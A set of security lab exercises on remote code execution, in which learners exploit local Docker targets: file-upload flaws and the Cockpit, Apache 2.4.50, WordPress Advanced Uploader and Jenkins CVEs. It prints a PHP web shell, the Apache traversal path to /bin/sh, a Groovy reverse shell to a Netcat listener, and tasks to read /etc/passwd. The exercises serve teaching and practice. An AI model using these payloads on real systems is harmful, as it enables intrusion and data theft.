Exercises

5.1 CWE-434 *Unrestricted Upload of File with Dangerous Type or simply* ***Arbitrary File Upload****, is a serious web security vulnerability where a web application improperly handles user-submitted files, allowing attackers to upload and execute malicious files, such as server-side scripts, on the server's file system.*

In this exercise, a HTTP server running on IP address `127.0.0.1` *and port* `8001` *is vulnerable to Arbitrary File Upload, which can result in Remote Code Execution (RCE). HTTP server is using HTTP/1.1 protocol. It allows for uploading files, which are uploaded to* `/uploads`*.*

(a) Using the prepared Docker image, run simple HTTP server with RCE vulnerability:

```
docker run -dp 8001:80 --name rcex1 docker.io/mazurkatarzyna/rce-ex1
podman run -dp 8001:80 --name rcex1 docker.io/mazurkatarzyna/rce-ex1
```

If Docker Hub is not responding, use the backup image:

```
docker run -dp 8001:80 --name rcex1 ghcr.io/mazurkatarzynaumcs/rce-ex1
podman run -dp 8001:80 --name rcex1 ghcr.io/mazurkatarzynaumcs/rce-ex1
```

Once launched, the application will be available at `http://127.0.0.1:8001`, and uploaded files are available at `http://127.0.0.1:8001/uploads`.

(b) Knowing that the application is vulnerable to a **Arbitrary File Upload** attack, which leads to RCE, upload a file with the `.php` extension and use it to display the contents of the `/etc/passwd` file located on the server.

Hint: Which PHP function can you use to display the contents of a file?

5.2 CWE-434 *Unrestricted Upload of File with Dangerous Type or simply* ***Arbitrary File Upload****, is a serious web security vulnerability where a web application improperly handles user-submitted files, allowing attackers to upload and execute malicious files, such as server-side scripts, on the server's file system.*

In this exercise, a HTTP server running on IP address `127.0.0.1` *and port* `8002` *is vulnerable to Arbitrary File Upload, which can result in Remote Code Execution (RCE). HTTP server is using HTTP/1.1 protocol. It allows for uploading files, which are uploaded to* `/uploads`*.*

(a) Using the prepared Docker image, run simple HTTP server with RCE vulnerability:

```
docker run -dp 8002:80 --name rcex2 docker.io/mazurkatarzyna/rce-ex2
podman run -dp 8002:80 --name rcex2 docker.io/mazurkatarzyna/rce-ex2
```

If Docker Hub is not responding, use the backup image:

```
docker run -dp 8002:80 --name rcex2 ghcr.io/mazurkatarzynaumcs/rce-ex2
podman run -dp 8002:80 --name rcex2 ghcr.io/mazurkatarzynaumcs/rce-ex2
```

Once launched, the application will be available at `http://127.0.0.1:8002`, and uploaded files are available at `http://127.0.0.1:8002/uploads`.

(b) Knowing that the application is vulnerable to a **Arbitrary File Upload** attack, which leads to RCE, upload an image file which will display the contents of the `/etc/passwd` file located on the server and the information about the PHP configuration on the server (you can use the `phpinfo()` function).

Hint: How can the server know what type of file we are sending?

5.3 CWE-434 *Unrestricted Upload of File with Dangerous Type or simply* ***Arbitrary File Upload****, is a serious web security vulnerability where a web application improperly handles user-submitted files, allowing attackers to upload and execute malicious files, such as server-side scripts, on the server's file system.*

In this exercise, a HTTP server running on IP address `127.0.0.1` *and port* `8003` *is vulnerable to Arbitrary File Upload, which can result in Remote Code Execution (RCE). HTTP server is using HTTP/1.1 protocol. It allows for uploading files, which are uploaded to* `/uploads`*.*

(a) Using the prepared Docker image, run simple HTTP server with RCE vulnerability:

```
docker run -dp 8003:80 --name rcex3 docker.io/mazurkatarzyna/rce-ex3
podman run -dp 8003:80 --name rcex3 docker.io/mazurkatarzyna/rce-ex3
```

If Docker Hub is not responding, use the backup image:

```
docker run -dp 8003:80 --name rcex3 ghcr.io/mazurkatarzynaumcs/rce-ex3
podman run -dp 8003:80 --name rcex3 ghcr.io/mazurkatarzynaumcs/rce-ex3
```

Once launched, the application will be available at `http://127.0.0.1:8003`, and uploaded files are available at `http://127.0.0.1:8003/uploads`.

(b) The server only allows uploading files with the extensions `*.jpeg`, `*.png`, `*.jpg`, and `*.pdf`.

(c) Knowing that the application is vulnerable to a **Arbitrary File Upload** attack, which leads to RCE, bypass the server security and send a file with the extension `*.html` to the server.

Hint: How can the server check the type of file we are sending to it?

5.4 CVE-2023-4195, CWE-98 `Cockpit` *is a modern content platform - simple but yet powerful and flexible. Cockpit provides a straightforward way to manage content for various applications, especially when you need a flexible structure and a simple API to fetch content. Whether you're building a website, a mobile application, or a SPA, Cockpit can serve as a lightweight but flexible backend to power your content. In version* `0.12.2` `Cockpit` *is vulnerable to Remote File Inclusion, which results in Remote Code Execution (RCE).*

(a) Using the prepared Docker image, run `Cockpit` with RCE vulnerability:

```
docker run -p 4195:80 --name rcex4 docker.io/mazurkatarzyna/cve-2023-4195:latest
podman run -p 4195:80 --name rcex4 docker.io/mazurkatarzyna/cve-2023-4195:latest
```

If Docker Hub is not responding, use the backup image:

```
docker run -p 4195:80 --name rcex4 ghcr.io/mazurkatarzynaumcs/cve-2023-4195:latest
podman run -p 4195:80 --name rcex4 ghcr.io/mazurkatarzynaumcs/cve-2023-4195:latest
```

(b) Run also SSH server:

```
docker run -p 8022:22 --name sshex4 docker.io/mazurkatarzyna/cve-2023-4195-ssh:latest
podman run -p 8022:22 --name sshex4 docker.io/mazurkatarzyna/cve-2023-4195-ssh:latest
```

If Docker Hub is not responding, use the backup image:

```
docker run -p 8022:22 --name sshex4 ghcr.io/mazurkatarzynaumcs/cve-2023-4195-ssh:latest
podman run -p 8022:22 --name sshex4 ghcr.io/mazurkatarzynaumcs/cve-2023-4195-ssh:latest
```

Once launched, the `Cockpit` application will be available at `http://127.0.0.1:4195`, and SSH server will be available at `127.0.0.1` and port 2022.

(c) Assess which components or entry points of the application are susceptible to a Remote Code Execution (RCE) vulnerability. Is there any place in the application we can upload a file?

(d) Attempt to upload a PHP-based web shell to the `Cockpit` application. You can write your own script, or use the below code:

```
<html>
<body>
  <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
    <input type="text" name="cmd" autofocus id="cmd" size="80">
    <input type="submit" value="Execute">
  </form>

  <pre>
<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd'] . ' 2>&1');
}
?>
  </pre>
</body>
</html>
```

(e) Prove that the vulnerability in the `Cockpit` application exists. Perform an RCE attack on the `Cockpit` application to gain access to the SSH server.

(f) Click **here** to check out how the authors fixed the vulnerability.

(g) After successfully confirming the existence of the vulnerability, estimate its criticality level using the CVSS **calculator**.

5.5 **CVE-2021-42013**, **CWE-22** *`Apache` is the most widely used webserver software and runs on most websites in the world. Developed and maintained by Apache Software Foundation, `Apache` is open source software and available for free. The `Apache` HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards. `Apache` HTTP Server in version `2.4.50` is vulnerable to Remote Code Execution.*

(a) Using the prepared Docker image, run Apache server with RCE vulnerability:

```
docker run -dp 42013:80 --name cve42013 docker.io/mazurkatarzyna/cve-2021-42013:latest
podman run -dp 42013:80 --name cve42013 docker.io/mazurkatarzyna/cve-2021-42013:latest
```

If Docker Hub is not responding, use the backup image:

```
docker run -dp 42013:80 --name cve42013 ghcr.io/mazurkatarzynaumcs/cve-2021-42013:latest
podman run -dp 42013:80 --name cve42013 ghcr.io/mazurkatarzynaumcs/cve-2021-42013:latest
```

Once launched, the `Apache` will be available at `http://127.0.0.1:42013`.

(b) Connect to the server using `telnet`. Then, try to send a `GET` request to retrieve its main page.

(c) Knowing that the vulnerability exists at the following path:

```
/cgi-bin/../../../../bin/sh
```

exploit it to:

- execute the `id` command on the server,

- display the contents of the `/etc` directory,
- check the name and version of the operating system installed on the server,
- display the contents of the `/etc/passwd` file.

(d) Use `telnet`, `curl` and Python to solve this exercise.

(e) Using **https://hunter.how**, try to check how many servers worldwide have not yet been upgraded and still contain this vulnerability. Do not log in to or attempt to exploit any of these IP addresses.

(f) After successfully confirming the existence of the vulnerability, estimate its criticality level using the CVSS **calculator**.

Hint: In this exercise, you might need to use the `Content-Length` HTTP header.

5.6 **CVE-2022-1103**, **CWE-22** ***Wordpress*** *is a web content management system. It was originally created as a tool to publish blogs. WordPress is an open-source content management system (CMS). The Advanced Uploader WordPress plugin through 4.2 allows any authenticated users like subscriber to upload arbitrary files, such as PHP, which could lead to RCE.*

(a) Using the prepared Docker compose file, run `WordPress` with RCE vulnerability:

```
docker compose -f docker-compose-cve-2022-1103.yml up
podman-compose -f docker-compose-cve-2022-1103.yml up
```

If Docker Hub is not responding, use the backup image:

```
docker compose -f docker-compose-cve-2022-1103-ghcr.yml up
podman-compose -f docker-compose-cve-2022-1103-ghcr.yml up
```

Once launched, the `WordPress` application will be available at `http://127.0.0.1:3003`.

(b) Go to `http://127.0.0.1:3003`, install Wordpress, create an admin account and log in.

(c) Install the Advanced Uploader WordPress plugin in vulnerable version `4.2`.

(d) Knowing about the existing vulnerability in the Advanced Uploader plugin, upload a file to the server that will allow you to read the contents of the `/etc/passwd` file located on the server.

(e) Perform an RCE attack that enables you to execute arbitrary commands on the remote server from your own machine.

(f) After successfully confirming the existence of the vulnerability, estimate its criticality level using the CVSS **calculator**.

5.7 **CVE-2019-1003000**, **CWE-22** ***Jenkins*** *is an open source automation server which enables developers around the world to reliably build, test, and deploy their software. In version `2.289.1` Jenkins is vulnerable to remote code execution. A flaw was found in Jenkins Pipeline. The Script Security sandbox protection could be circumvented during the script compilation phase by applying AST, transforming annotations such as @Grab to source code elements. Both the pipeline validation REST APIs and actual script/pipeline execution are affected. This allowed users with Overall/Read permission, or able to control Jenkinsfile or sandboxed Pipeline shared library contents in SCM, to bypass the sandbox protection and execute arbitrary code on the Jenkins master. All known unsafe AST transformations in Groovy are now prohibited in sandboxed scripts. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.*

(a) Using the prepared Docker image, run Jenkins with RCE vulnerability:

```
docker run --network=host --name jenkins docker.io/mazurkatarzyna/cve-2019-1003000:latest
podman run --network=host --name jenkins docker.io/mazurkatarzyna/cve-2019-1003000:latest
```

If Docker Hub is not responding, use the backup image:

```
docker run --network=host --name jenkins ghcr.io/mazurkatarzynaumcs/cve-2019-1003000:latest
podman run --network=host --name jenkins ghcr.io/mazurkatarzynaumcs/cve-2019-1003000:latest
```

Once launched, `Jenkins` will be available at http://127.0.0.1:8080. Username is `jenkins`, and password can be found in console, where you run container.

(b) Go to http://127.0.0.1:8080, provide admin password (the one from console), do not install plugins, create new admin account and log in.

(c) Using the command below, run a Netcat listener on port 6060 on your local machine and wait for an incoming connection.

```
nc -lvnp 6060
```

(d) Go to http://127.0.0.1:8080/script, copy and paste the following script:

```
String host="127.0.0.1";
int port=6060;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

(e) Go back to the console and observe the received connection in the Netcat listener. Once the connection appears, interact with it and note that the output you see in your terminal reflects the commands executed on the remote (server) environment, not on your local machine.

(f) After successfully confirming the existence of the vulnerability, estimate its criticality level using the CVSS **calculator**.